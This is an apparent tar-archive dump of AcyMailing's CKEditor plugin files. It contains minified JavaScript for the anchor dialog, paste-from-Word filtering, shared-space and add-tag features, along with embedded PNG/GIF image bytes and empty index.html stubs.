this.hidePage("target")},onFocus:function(){var a=this.getContentElement("info","linkType");a&&"url"==a.getValue()&&(a=this.getContentElement("info","url"),a.select())}}})})();
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/link/dialogs/anchor.js000060400000002701152455305310027732 0ustar00CKEDITOR.dialog.add("anchor",function(c){function d(a,b){return a.createFakeElement(a.document.createElement("a",{attributes:b}),"cke_anchor","anchor")}return{title:c.lang.link.anchor.title,minWidth:300,minHeight:60,onOk:function(){var a=CKEDITOR.tools.trim(this.getValueOf("info","txtName")),a={id:a,name:a,"data-cke-saved-name":a};if(this._.selectedElement)this._.selectedElement.data("cke-realelement")?(a=d(c,a),a.replace(this._.selectedElement),CKEDITOR.env.ie&&c.getSelection().selectElement(a)):
this._.selectedElement.setAttributes(a);else{var b=c.getSelection(),b=b&&b.getRanges()[0];b.collapsed?(a=d(c,a),b.insertNode(a)):(CKEDITOR.env.ie&&9>CKEDITOR.env.version&&(a["class"]="cke_anchor"),a=new CKEDITOR.style({element:"a",attributes:a}),a.type=CKEDITOR.STYLE_INLINE,c.applyStyle(a))}},onHide:function(){delete this._.selectedElement},onShow:function(){var a=c.getSelection(),b=a.getSelectedElement(),d=b&&b.data("cke-realelement"),e=d?CKEDITOR.plugins.link.tryRestoreFakeAnchor(c,b):CKEDITOR.plugins.link.getSelectedLink(c);
e&&(this._.selectedElement=e,this.setValueOf("info","txtName",e.data("cke-saved-name")||""),!d&&a.selectElement(e),b&&(this._.selectedElement=b));this.getContentElement("info","txtName").focus()},contents:[{id:"info",label:c.lang.link.anchor.title,accessKey:"I",elements:[{type:"text",id:"txtName",label:c.lang.link.anchor.name,required:!0,validate:function(){return!this.getValue()?(alert(c.lang.link.anchor.errorName),!1):!0}}]}]}});
extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/link/images/hidpi/anchor.png000060400000002543152455305310030747 0ustar00com_acymailing�PNG


IHDR  szz�*IDATXýW]lTE>�g�(�-K�(DI)j[R�	5�D!���bbĀ`)Ƈ�$F���ᥦ�!1FH�@xT�F�@7�Ҕ4%
YS�I+��b��ݿ�����ݽ{�ˮ@��۝;3��oΜ3�\ejh�L�$3�#t��x<�ɐ�J���.�'E!M�I�xHs�IQU)b�Dd�������BI:M��E�̴)�Yy�#*_^v:0��c���:�}>R]�"K䳜o�׸x-��<w���Ӷ��_�\�)�_>��V*�2r�k�a
�ܲ�$e	������O�O��ٽj��ٳ4:0�;���B!㗖c�H�r{�v�{��+}}�@�|�X7�:Y��?���|萑?�p�V����A�J���zذn�>;k�J���xx��>-傀�[�F�#��ttt�8�0e�Q����\��W����w���\�H�;w2��-�Ǐ�@w7e�O���a%����-��[X�(�eb���\�F�x����%��Ү]B�Gn�I��_%��eO�����FDI�r�V��9��k�Yx�<��.��
I�l��(�W&��@�B��,wO �x.K0�
�ד�
$a��5���.B�s g��v$�u�Th<�k�z)�y<�W�&��O&�d0n:�����ֲ�)M^K�,b���
<HF�#x��
Y��X���3
,��*.QX�{U��RcS?���=G'U��jz�(p6��t���N@��C�
�pA���~
c�|.'
�<_���0�a�A�9 ��zk~���F�@�?�˧	�:�2�(Q|�0�}�G8L�F""iR	7@����hoj"/�� �KR��⿂�j"�����`#g@a\��F@b�mjE����H�L}M��oHV)���=pxxwb�<[�.p��A���	����]��!��>��G �T���ZЪ;ʆ�i�q.�aL*�t]�i.6#�wc��P�^�@��B����sq�޽�q޺l��To�j~��
t��;�0�����f|K;�6���i�
-\�@Wv���6TR�8`������[_�i.ɒ���eI��h4j�t8z���{2���/�"وr�I�+����{���bC|�BN܋,�ū�[�	/���1[`��������L�㟂��~��(4�뫰^ֽreQ���vq���&��7�-� �����'
Xg���1�(V
/69U-�LU�Kί#����H�H�5�s�#�)R@-����R�=ɶ�,���‘,3��Q���!�Wxԡ0(>N��(��/|W�EIEND�B`�extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/link/images/hidpi/index.html000060400000000054152455305310030757 0ustar00com_acymailing<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/link/images/anchor.png000060400000001115152455305310027723 0ustar00�PNG


IHDR�aIDAT8�u��jSA�gnڊMc)���)�(�Zԝ�>@�O�+�.]tS��X*R��k)4H����T�"1D�If>w�6���0s��7s>˲� ��s�_X��vk��Q�=`��H� MS$�V�MIoZ��������$Hz*�F�I���F=� �2$	�$����:h������jwwv“�[�sJf���,S''ܪT8�t��$��kf��u�G!KJqM�{gf��w2>�X��B����$�SS|=:b��4��Wp%�P0c`F�9lb���'r~ �X������H�H�pf8�b���9�pa�G��7�W�DŽ��cf$Α���޶Z�f�C�J�ͣv���*�@�۽�-Q�F�e�3�����*����j4�F�3�N�^�C��#A��-�f��DRI�cI/%�VW%�L�sI�4��<�Z��̐D������s�;?�_>�y'	�Č���'8�9�0�4POӟ��c��+�B(��r�Ҹ�!,�]�Ft���OWf�W
�2C@Xʿ�IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/link/images/index.html000060400000000054152455305310027741 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/pastefromword/index.html000060400000000054152455305310030433 0ustar00<html><body bgcolor="#FFFFFF"></body></html>extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/pastefromword/filter/default.js000060400000032761152455305310031640 0ustar00com_acymailing(function(){function y(a){for(var a=a.toUpperCase(),c=z.length,b=0,f=0;f<c;++f)for(var d=z[f],e=d[1].length;a.substr(0,e)==d[1];a=a.substr(e))b+=d[0];return b}function A(a){for(var a=a.toUpperCase(),c=B.length,b=1,f=1;0<a.length;f*=c)b+=B.indexOf(a.charAt(a.length-1))*f,a=a.substr(0,a.length-1);return b}var C=CKEDITOR.htmlParser.fragment.prototype,o=CKEDITOR.htmlParser.element.prototype;C.onlyChild=o.onlyChild=function(){var a=this.children;return 1==a.length&&a[0]||null};o.removeAnyChildWithName=
function(a){for(var c=this.children,b=[],f,d=0;d<c.length;d++)f=c[d],f.name&&(f.name==a&&(b.push(f),c.splice(d--,1)),b=b.concat(f.removeAnyChildWithName(a)));return b};o.getAncestor=function(a){for(var c=this.parent;c&&(!c.name||!c.name.match(a));)c=c.parent;return c};C.firstChild=o.firstChild=function(a){for(var c,b=0;b<this.children.length;b++)if(c=this.children[b],a(c)||c.name&&(c=c.firstChild(a)))return c;return null};o.addStyle=function(a,c,b){var f="";if("string"==typeof c)f+=a+":"+c+";";else{if("object"==
typeof a)for(var d in a)a.hasOwnProperty(d)&&(f+=d+":"+a[d]+";");else f+=a;b=c}this.attributes||(this.attributes={});a=this.attributes.style||"";a=(b?[f,a]:[a,f]).join(";");this.attributes.style=a.replace(/^;+|;(?=;)/g,"")};o.getStyle=function(a){var c=this.attributes.style;if(c)return c=CKEDITOR.tools.parseCssText(c,1),c[a]};CKEDITOR.dtd.parentOf=function(a){var c={},b;for(b in this)-1==b.indexOf("$")&&this[b][a]&&(c[b]=1);return c};var H=/^([.\d]*)+(em|ex|px|gd|rem|vw|vh|vm|ch|mm|cm|in|pt|pc|deg|rad|ms|s|hz|khz){1}?/i,
D=/^(?:\b0[^\s]*\s*){1,4}$/,x={ol:{decimal:/\d+/,"lower-roman":/^m{0,4}(cm|cd|d?c{0,3})(xc|xl|l?x{0,3})(ix|iv|v?i{0,3})$/,"upper-roman":/^M{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})$/,"lower-alpha":/^[a-z]+$/,"upper-alpha":/^[A-Z]+$/},ul:{disc:/[l\u00B7\u2002]/,circle:/[\u006F\u00D8]/,square:/[\u006E\u25C6]/}},z=[[1E3,"M"],[900,"CM"],[500,"D"],[400,"CD"],[100,"C"],[90,"XC"],[50,"L"],[40,"XL"],[10,"X"],[9,"IX"],[5,"V"],[4,"IV"],[1,"I"]],B="ABCDEFGHIJKLMNOPQRSTUVWXYZ",s=0,t=null,w,E=CKEDITOR.plugins.pastefromword=
{utils:{createListBulletMarker:function(a,c){var b=new CKEDITOR.htmlParser.element("cke:listbullet");b.attributes={"cke:listsymbol":a[0]};b.add(new CKEDITOR.htmlParser.text(c));return b},isListBulletIndicator:function(a){if(/mso-list\s*:\s*Ignore/i.test(a.attributes&&a.attributes.style))return!0},isContainingOnlySpaces:function(a){var c;return(c=a.onlyChild())&&/^(:?\s|&nbsp;)+$/.test(c.value)},resolveList:function(a){var c=a.attributes,b;if((b=a.removeAnyChildWithName("cke:listbullet"))&&b.length&&
(b=b[0]))return a.name="cke:li",c.style&&(c.style=E.filters.stylesFilter([["text-indent"],["line-height"],[/^margin(:?-left)?$/,null,function(a){a=a.split(" ");a=CKEDITOR.tools.convertToPx(a[3]||a[1]||a[0]);!s&&(null!==t&&a>t)&&(s=a-t);t=a;c["cke:indent"]=s&&Math.ceil(a/s)+1||1}],[/^mso-list$/,null,function(a){var a=a.split(" "),b=Number(a[0].match(/\d+/)),a=Number(a[1].match(/\d+/));1==a&&(b!==w&&(c["cke:reset"]=1),w=b);c["cke:indent"]=a}]])(c.style,a)||""),c["cke:indent"]||(t=0,c["cke:indent"]=
1),CKEDITOR.tools.extend(c,b.attributes),!0;w=t=s=null;return!1},getStyleComponents:function(){var a=CKEDITOR.dom.element.createFromHtml('<div style="position:absolute;left:-9999px;top:-9999px;"></div>',CKEDITOR.document);CKEDITOR.document.getBody().append(a);return function(c,b,f){a.setStyle(c,b);for(var c={},b=f.length,d=0;d<b;d++)c[f[d]]=a.getStyle(f[d]);return c}}(),listDtdParents:CKEDITOR.dtd.parentOf("ol")},filters:{flattenList:function(a,c){var c="number"==typeof c?c:1,b=a.attributes,f;switch(b.type){case "a":f=
"lower-alpha";break;case "1":f="decimal"}for(var d=a.children,e,h=0;h<d.length;h++)if(e=d[h],e.name in CKEDITOR.dtd.$listItem){var j=e.attributes,g=e.children,m=g[g.length-1];m.name in CKEDITOR.dtd.$list&&(a.add(m,h+1),--g.length||d.splice(h--,1));e.name="cke:li";b.start&&!h&&(j.value=b.start);E.filters.stylesFilter([["tab-stops",null,function(a){(a=a.split(" ")[1].match(H))&&(t=CKEDITOR.tools.convertToPx(a[0]))}],1==c?["mso-list",null,function(a){a=a.split(" ");a=Number(a[0].match(/\d+/));a!==w&&
(j["cke:reset"]=1);w=a}]:null])(j.style);j["cke:indent"]=c;j["cke:listtype"]=a.name;j["cke:list-style-type"]=f}else if(e.name in CKEDITOR.dtd.$list){arguments.callee.apply(this,[e,c+1]);d=d.slice(0,h).concat(e.children).concat(d.slice(h+1));a.children=[];e=0;for(g=d.length;e<g;e++)a.add(d[e]);d=a.children}delete a.name;b["cke:list"]=1},assembleList:function(a){for(var c=a.children,b,f,d,e,h,j,a=[],g,m,i,l,k,p,n=0;n<c.length;n++)if(b=c[n],"cke:li"==b.name)if(b.name="li",f=b.attributes,i=(i=f["cke:listsymbol"])&&
i.match(/^(?:[(]?)([^\s]+?)([.)]?)$/),l=k=p=null,f["cke:ignored"])c.splice(n--,1);else{f["cke:reset"]&&(j=e=h=null);d=Number(f["cke:indent"]);d!=e&&(m=g=null);if(i){if(m&&x[m][g].test(i[1]))l=m,k=g;else for(var q in x)for(var u in x[q])if(x[q][u].test(i[1]))if("ol"==q&&/alpha|roman/.test(u)){if(g=/roman/.test(u)?y(i[1]):A(i[1]),!p||g<p)p=g,l=q,k=u}else{l=q;k=u;break}!l&&(l=i[2]?"ol":"ul")}else l=f["cke:listtype"]||"ol",k=f["cke:list-style-type"];m=l;g=k||("ol"==l?"decimal":"disc");k&&k!=("ol"==l?
"decimal":"disc")&&b.addStyle("list-style-type",k);if("ol"==l&&i){switch(k){case "decimal":p=Number(i[1]);break;case "lower-roman":case "upper-roman":p=y(i[1]);break;case "lower-alpha":case "upper-alpha":p=A(i[1])}b.attributes.value=p}if(j){if(d>e)a.push(j=new CKEDITOR.htmlParser.element(l)),j.add(b),h.add(j);else{if(d<e){e-=d;for(var r;e--&&(r=j.parent);)j=r.parent}j.add(b)}c.splice(n--,1)}else a.push(j=new CKEDITOR.htmlParser.element(l)),j.add(b),c[n]=j;h=b;e=d}else j&&(j=e=h=null);for(n=0;n<a.length;n++)if(j=
a[n],q=j.children,g=g=void 0,u=j.children.length,r=g=void 0,c=/list-style-type:(.*?)(?:;|$)/,e=CKEDITOR.plugins.pastefromword.filters.stylesFilter,g=j.attributes,!c.exec(g.style)){for(h=0;h<u;h++)if(g=q[h],g.attributes.value&&Number(g.attributes.value)==h+1&&delete g.attributes.value,g=c.exec(g.attributes.style))if(g[1]==r||!r)r=g[1];else{r=null;break}if(r){for(h=0;h<u;h++)g=q[h].attributes,g.style&&(g.style=e([["list-style-type"]])(g.style)||"");j.addStyle("list-style-type",r)}}w=t=s=null},falsyFilter:function(){return!1},
stylesFilter:function(a,c){return function(b,f){var d=[];(b||"").replace(/&quot;/g,'"').replace(/\s*([^ :;]+)\s*:\s*([^;]+)\s*(?=;|$)/g,function(b,e,g){e=e.toLowerCase();"font-family"==e&&(g=g.replace(/["']/g,""));for(var m,i,l,k=0;k<a.length;k++)if(a[k]&&(b=a[k][0],m=a[k][1],i=a[k][2],l=a[k][3],e.match(b)&&(!m||g.match(m)))){e=l||e;c&&(i=i||g);"function"==typeof i&&(i=i(g,f,e));i&&i.push&&(e=i[0],i=i[1]);"string"==typeof i&&d.push([e,i]);return}!c&&d.push([e,g])});for(var e=0;e<d.length;e++)d[e]=
d[e].join(":");return d.length?d.join(";")+";":!1}},elementMigrateFilter:function(a,c){return a?function(b){var f=c?(new CKEDITOR.style(a,c))._.definition:a;b.name=f.element;CKEDITOR.tools.extend(b.attributes,CKEDITOR.tools.clone(f.attributes));b.addStyle(CKEDITOR.style.getStyleText(f))}:function(){}},styleMigrateFilter:function(a,c){var b=this.elementMigrateFilter;return a?function(f,d){var e=new CKEDITOR.htmlParser.element(null),h={};h[c]=f;b(a,h)(e);e.children=d.children;d.children=[e];e.filter=
function(){};e.parent=d}:function(){}},bogusAttrFilter:function(a,c){if(-1==c.name.indexOf("cke:"))return!1},applyStyleFilter:null},getRules:function(a,c){var b=CKEDITOR.dtd,f=CKEDITOR.tools.extend({},b.$block,b.$listItem,b.$tableContent),d=a.config,e=this.filters,h=e.falsyFilter,j=e.stylesFilter,g=e.elementMigrateFilter,m=CKEDITOR.tools.bind(this.filters.styleMigrateFilter,this.filters),i=this.utils.createListBulletMarker,l=e.flattenList,k=e.assembleList,p=this.utils.isListBulletIndicator,n=this.utils.isContainingOnlySpaces,
q=this.utils.resolveList,u=function(a){a=CKEDITOR.tools.convertToPx(a);return isNaN(a)?a:a+"px"},r=this.utils.getStyleComponents,t=this.utils.listDtdParents,o=!1!==d.pasteFromWordRemoveFontStyles,s=!1!==d.pasteFromWordRemoveStyles;return{elementNames:[[/meta|link|script/,""]],root:function(a){a.filterChildren(c);k(a)},elements:{"^":function(a){var c;CKEDITOR.env.gecko&&(c=e.applyStyleFilter)&&c(a)},$:function(a){var v=a.name||"",e=a.attributes;v in f&&e.style&&(e.style=j([[/^(:?width|height)$/,null,
u]])(e.style)||"");if(v.match(/h\d/)){a.filterChildren(c);if(q(a))return;g(d["format_"+v])(a)}else if(v in b.$inline)a.filterChildren(c),n(a)&&delete a.name;else if(-1!=v.indexOf(":")&&-1==v.indexOf("cke")){a.filterChildren(c);if("v:imagedata"==v){if(v=a.attributes["o:href"])a.attributes.src=v;a.name="img";return}delete a.name}v in t&&(a.filterChildren(c),k(a))},style:function(a){if(CKEDITOR.env.gecko){var a=(a=a.onlyChild().value.match(/\/\* Style Definitions \*\/([\s\S]*?)\/\*/))&&a[1],c={};a&&
(a.replace(/[\n\r]/g,"").replace(/(.+?)\{(.+?)\}/g,function(a,b,F){for(var b=b.split(","),a=b.length,d=0;d<a;d++)CKEDITOR.tools.trim(b[d]).replace(/^(\w+)(\.[\w-]+)?$/g,function(a,b,d){b=b||"*";d=d.substring(1,d.length);d.match(/MsoNormal/)||(c[b]||(c[b]={}),d?c[b][d]=F:c[b]=F)})}),e.applyStyleFilter=function(a){var b=c["*"]?"*":a.name,d=a.attributes&&a.attributes["class"];b in c&&(b=c[b],"object"==typeof b&&(b=b[d]),b&&a.addStyle(b,!0))})}return!1},p:function(a){if(/MsoListParagraph/i.exec(a.attributes["class"])||
a.getStyle("mso-list")){var b=a.firstChild(function(a){return a.type==CKEDITOR.NODE_TEXT&&!n(a.parent)});(b=b&&b.parent)&&b.addStyle("mso-list","Ignore")}a.filterChildren(c);q(a)||(d.enterMode==CKEDITOR.ENTER_BR?(delete a.name,a.add(new CKEDITOR.htmlParser.element("br"))):g(d["format_"+(d.enterMode==CKEDITOR.ENTER_P?"p":"div")])(a))},div:function(a){var c=a.onlyChild();if(c&&"table"==c.name){var b=a.attributes;c.attributes=CKEDITOR.tools.extend(c.attributes,b);b.style&&c.addStyle(b.style);c=new CKEDITOR.htmlParser.element("div");
c.addStyle("clear","both");a.add(c);delete a.name}},td:function(a){a.getAncestor("thead")&&(a.name="th")},ol:l,ul:l,dl:l,font:function(a){if(p(a.parent))delete a.name;else{a.filterChildren(c);var b=a.attributes,d=b.style,e=a.parent;"font"==e.name?(CKEDITOR.tools.extend(e.attributes,a.attributes),d&&e.addStyle(d),delete a.name):(d=(d||"").split(";"),b.color&&("#000000"!=b.color&&d.push("color:"+b.color),delete b.color),b.face&&(d.push("font-family:"+b.face),delete b.face),b.size&&(d.push("font-size:"+
(3<b.size?"large":3>b.size?"small":"medium")),delete b.size),a.name="span",a.addStyle(d.join(";")))}},span:function(a){if(p(a.parent))return!1;a.filterChildren(c);if(n(a))return delete a.name,null;if(p(a)){var b=a.firstChild(function(a){return a.value||"img"==a.name}),e=(b=b&&(b.value||"l."))&&b.match(/^(?:[(]?)([^\s]+?)([.)]?)$/);if(e)return b=i(e,b),(a=a.getAncestor("span"))&&/ mso-hide:\s*all|display:\s*none /.test(a.attributes.style)&&(b.attributes["cke:ignored"]=1),b}if(e=(b=a.attributes)&&b.style)b.style=
j([["line-height"],[/^font-family$/,null,!o?m(d.font_style,"family"):null],[/^font-size$/,null,!o?m(d.fontSize_style,"size"):null],[/^color$/,null,!o?m(d.colorButton_foreStyle,"color"):null],[/^background-color$/,null,!o?m(d.colorButton_backStyle,"color"):null]])(e,a)||"";b.style||delete b.style;CKEDITOR.tools.isEmpty(b)&&delete a.name;return null},b:g(d.coreStyles_bold),i:g(d.coreStyles_italic),u:g(d.coreStyles_underline),s:g(d.coreStyles_strike),sup:g(d.coreStyles_superscript),sub:g(d.coreStyles_subscript),
a:function(a){a=a.attributes;a.href&&a.href.match(/^file:\/\/\/[\S]+#/i)&&(a.href=a.href.replace(/^file:\/\/\/[^#]+/i,""))},"cke:listbullet":function(a){a.getAncestor(/h\d/)&&!d.pasteFromWordNumberedHeadingToList&&delete a.name}},attributeNames:[[/^onmouse(:?out|over)/,""],[/^onload$/,""],[/(?:v|o):\w+/,""],[/^lang/,""]],attributes:{style:j(s?[[/^list-style-type$/,null],[/^margin$|^margin-(?!bottom|top)/,null,function(a,b,c){if(b.name in{p:1,div:1}){b="ltr"==d.contentsLangDirection?"margin-left":
"margin-right";if("margin"==c)a=r(c,a,[b])[b];else if(c!=b)return null;if(a&&!D.test(a))return[b,a]}return null}],[/^clear$/],[/^border.*|margin.*|vertical-align|float$/,null,function(a,b){if("img"==b.name)return a}],[/^width|height$/,null,function(a,b){if(b.name in{table:1,td:1,th:1,img:1})return a}]]:[[/^mso-/],[/-color$/,null,function(a){if("transparent"==a)return!1;if(CKEDITOR.env.gecko)return a.replace(/-moz-use-text-color/g,"transparent")}],[/^margin$/,D],["text-indent","0cm"],["page-break-before"],
["tab-stops"],["display","none"],o?[/font-?/]:null],s),width:function(a,c){if(c.name in b.$tableContent)return!1},border:function(a,c){if(c.name in b.$tableContent)return!1},"class":h,bgcolor:h,valign:s?h:function(a,b){b.addStyle("vertical-align",a);return!1}},comment:!CKEDITOR.env.ie?function(a,b){var c=a.match(/<img.*?>/),d=a.match(/^\[if !supportLists\]([\s\S]*?)\[endif\]$/);return d?(d=(c=d[1]||c&&"l.")&&c.match(/>(?:[(]?)([^\s]+?)([.)]?)</),i(d,c)):CKEDITOR.env.gecko&&c?(c=CKEDITOR.htmlParser.fragment.fromHtml(c[0]).children[0],
(d=(d=(d=b.previous)&&d.value.match(/<v:imagedata[^>]*o:href=['"](.*?)['"]/))&&d[1])&&(c.attributes.src=d),c):!1}:h}}},G=function(){this.dataFilter=new CKEDITOR.htmlParser.filter};G.prototype={toHtml:function(a){var a=CKEDITOR.htmlParser.fragment.fromHtml(a),c=new CKEDITOR.htmlParser.basicWriter;a.writeHtml(c,this.dataFilter);return c.getHtml(!0)}};CKEDITOR.cleanWord=function(a,c){CKEDITOR.env.gecko&&(a=a.replace(/(<\!--\[if[^<]*?\])--\>([\S\s]*?)<\!--(\[endif\]--\>)/gi,"$1$2$3"));CKEDITOR.env.webkit&&
(a=a.replace(/(class="MsoListParagraph[^>]+><\!--\[if !supportLists\]--\>)([^<]+<span[^<]+<\/span>)(<\!--\[endif\]--\>)/gi,"$1<span>$2</span>$3"));var b=new G,f=b.dataFilter;f.addRules(CKEDITOR.plugins.pastefromword.getRules(c,f));c.fire("beforeCleanWord",{filter:f});try{a=b.toHtml(a)}catch(d){alert(c.lang.pastefromword.error)}a=a.replace(/cke:.*?".*?"/g,"");a=a.replace(/style=""/g,"");return a=a.replace(/<span>/g,"")}})();
extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/pastefromword/filter/index.html000060400000000054152455305310031641 0ustar00com_acymailing<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/fakeobjects/index.html000060400000000054152455305310030017 0ustar00<html><body bgcolor="#FFFFFF"></body></html>extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/fakeobjects/images/index.html000060400000000054152455305310031205 0ustar00com_acymailing<html><body bgcolor="#FFFFFF"></body></html>extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/fakeobjects/images/spacer.gif000060400000000053152455305310031153 0ustar00com_acymailingGIF89a�!�,D;com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/sharedspace/plugin.js000060400000004570152455305310027667 0ustar00
( function() {

	'use strict';

	var containerTpl = CKEDITOR.addTemplate( 'sharedcontainer', '<div' +
		' id="cke_{name}"' +
		' class="cke {id} cke_reset_all cke_chrome cke_editor_{name} cke_shared cke_detached cke_{langDir} ' + CKEDITOR.env.cssClass + '"' +
		' dir="{langDir}"' +
		' title="' + ( CKEDITOR.env.gecko ? ' ' : '' ) + '"' +
		' lang="{langCode}"' +
		' role="presentation"' +
		'>' +
			'<div class="cke_inner">' +
				'<div id="{spaceId}" class="cke_{space}" role="presentation">{content}</div>' +
			'</div>' +
		'</div>' );

	CKEDITOR.plugins.add( 'sharedspace', {
		init: function( editor ) {
			editor.on( 'loaded', function() {
				var spaces = editor.config.sharedSpaces;

				if ( spaces ) {
					for ( var spaceName in spaces )
						create( editor, spaceName, spaces[ spaceName ] );
				}
			}, null, null, 9 );
		}
	} );

	function create( editor, spaceName, target ) {
		var innerHtml, space;

		if ( typeof target == 'string' ) {
			target = CKEDITOR.document.getById( target );
		} else {
			target = new CKEDITOR.dom.element( target );
		}

		if ( target ) {
			innerHtml = editor.fire( 'uiSpace', { space: spaceName, html: '' } ).html;

			if ( innerHtml ) {
				editor.on( 'uiSpace', function( ev ) {
					if ( ev.data.space == spaceName )
						ev.cancel();
				}, null, null, 1 );  // Hi-priority

				space = target.append( CKEDITOR.dom.element.createFromHtml( containerTpl.output( {
					id: editor.id,
					name: editor.name,
					langDir: editor.lang.dir,
					langCode: editor.langCode,
					space: spaceName,
					spaceId: editor.ui.spaceId( spaceName ),
					content: innerHtml
				} ) ) );

				if ( target.getCustomData( 'cke_hasshared' ) )
					space.hide();
				else
					target.setCustomData( 'cke_hasshared', 1 );

				space.unselectable();

				space.on( 'mousedown', function( evt ) {
					evt = evt.data;
					if ( !evt.getTarget().hasAscendant( 'a', 1 ) )
						evt.preventDefault();
				} );

				editor.focusManager.add( space, 1 );

				editor.on( 'focus', function() {
					for ( var i = 0, sibling, children = target.getChildren(); ( sibling = children.getItem( i ) ); i++ ) {
						if ( sibling.type == CKEDITOR.NODE_ELEMENT &&
							!sibling.equals( space ) &&
							sibling.hasClass( 'cke_shared' ) ) {
							sibling.hide();
						}
					}

					space.show();
				} );

				editor.on( 'destroy', function() {
					space.remove();
				} );
			}
		}
	}
} )();


com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/sharedspace/index.html000060400000000054152455305310030021 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/addtag/index.html000060400000000054152455305310026763 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/addtag/icon-16-tag.png000060400000001125152455305310027421 0ustar00�PNG


IHDR�agAMA���a	pHYsrr^e[�tEXtSoftwarePaint.NET v3.5.100�r��IDAT8O�SM(DQ?��@�"%��Y�XPXH^)���Sƈ$z�0��Y��XPF^XM�-F�� �))��YxEa6�lF�Ԕ8�ó�n}�wν��9�\��{�-�P��d�qæ�락ӴR�W�%s	�ن�q�KQ<���-�b����f�4��FI�nw�����
���I^�,%���t��I��=E"��w� n1B�M� �8>�"Yv��i���������м�<��pԓ���l����#��$ЊZV}>o�_��k�����HE5sͣ�}{�<@L�
մs*.�)��?W*v�t����f�C����3��D*~�S++K\�����$r�P{{��j�$g�#HR��@����o| �p�-O��*P�Lw�$'��b����е❍{<�4��։U��d�E���'�o�j� ��J�4�����7�O\P
��z`8�m�����OKR�k3��+IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/addtag/plugin.js000060400000001147152455305310026626 0ustar00(function() {
	var a= {
		exec:function(editor){
			if (parent.IeCursorFix)
			{
				parent.IeCursorFix();
			}
			if (parent.SetIgnoreDeselection)
			{
				parent.SetIgnoreDeselection();
			}
			if (parent.FireClick)
			{
				var itemElement = parent.document.getElementById('AcyLienTag');
				parent.FireClick(itemElement);
			}
		}
	},
	b='addtag';
	CKEDITOR.plugins.add(b,{
		init:function(editor){
			editor.addCommand(b,a);
			editor.ui.addButton("addtag",{label:editor.lang.addtag.toolbar,
											icon: this.path + "icon-16-tag.png",
											command:b,
											toolbar: "insert"});
		}
	});
})();

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/image/images/noimage.png000060400000004103152455305310030215 0ustar00�PNG


IHDR((� H_PLTE�VV�\\�TT⟟�XX⠠���▖�bb��II�ff�``�CC�FF�MM�ZZ㮮㳳����SSᆆ቉⚚�ww�WW�xx�~~���⑑���ጌ���㭭㣣����DD㻻����nn⨨ᐐ�ⓓ����^^�XX���ᗗ�NN�oo�KK�AA�ll�tt�UU└����JJᎎ������㵵㱱㽽����uv�ee㲲�����⥥㼼����PP���ፍ㪪�[[㺺㶶�mm㾾�qq�}}�������yy����PP�QQ������㰰㷷�⛛☘�ss❝�rr�ss㯯✜ᄄኊ���㫫ዋ���⭭ለ�]]�||㝝�GG♙㘘�dd�ii�kk潽�pp�zz�HH➞�����������NN䟞㴴���⣣�^^�����??����������;;����aa⦦��ᕕ�SS����>>��������||������ᇇᅅ�⸸ⱱ⪪㢢⬬ႂ人�QQ㸸���䱱㿿�hh㧧�RR⎎�jj���㜜����������ab���毮���䥥������⽽⮮���⫫洴⢢㬬���汱䵵䷷⧧㦦庹����绺�����������䨨�������ᄃ���RR���ᓓ㹹䠟�UU����99�@@�JJ����77䪪�SS�PP�ff躹似���䲲᜜����Ⲳ���❞ᘘ⋋纹⍍㚚��ⷷ�rs�zzYp��IDATx^=���H���6�m۶m��o۶m۶͵����WS����[I�ʯ���PP�رc?BQQ�`4
M<b%:������m�
�V�ă�^��jWlKL�rtq9�F=��a�yyj���S��yp���FQУ�Z���y�x���Ř19���|�#���9fǎ����и�L�Bp4f��
��������JM}m݊]S7�Z�řpΙ(�;\Y��������	������Ѐ����^�	
###C�R(��V��S3��Ե%0F)�\0 ���]/��}����MR\��������x��ۧ[��?[S��~�y�p]q����zC�Ȃ*��o��j!*j�nk��A�]YW|�ecc��)###E��"�P�`k1%��j�]A�O��M��u��h:Am�Q(�F�	l���x�mr�Ɩ���W��N�P�6��>G��ˆSP��Z��;�v�v$E���k��Xಹ�ҥ�f���SY%�B9k@���-��:f����A�;�4���r�D9�)z@U^N�i�̲�����\˻�j+I��ʲ�r������$M��W��h|i�]�o��
��i^��H�I:���s��]R@���/͵k"��L���J[��"�ew3V�J뛒�0JB�1��$m�HV׵��`�>c{]�j�*i�����I筮+��|}�x���)�/��b�u���e�c���1 �Q�����e��=����޻�1U�w�]�4ƻ�x�g�pz��ݜ_��j���]��u�YJ��g��vh0�`��Z���x�'T��/�Z�;�����Jy�ׯ��������M͛/�*�1��G��*�+2ݽ^X�nv:����>��/���0*Au�����[Sq�K`C�^\�ߢ���gz�+KQ6.����\:�~�������l���;�z��Ĩ�q{Y=�̣K�|�|gg�3��C��hf
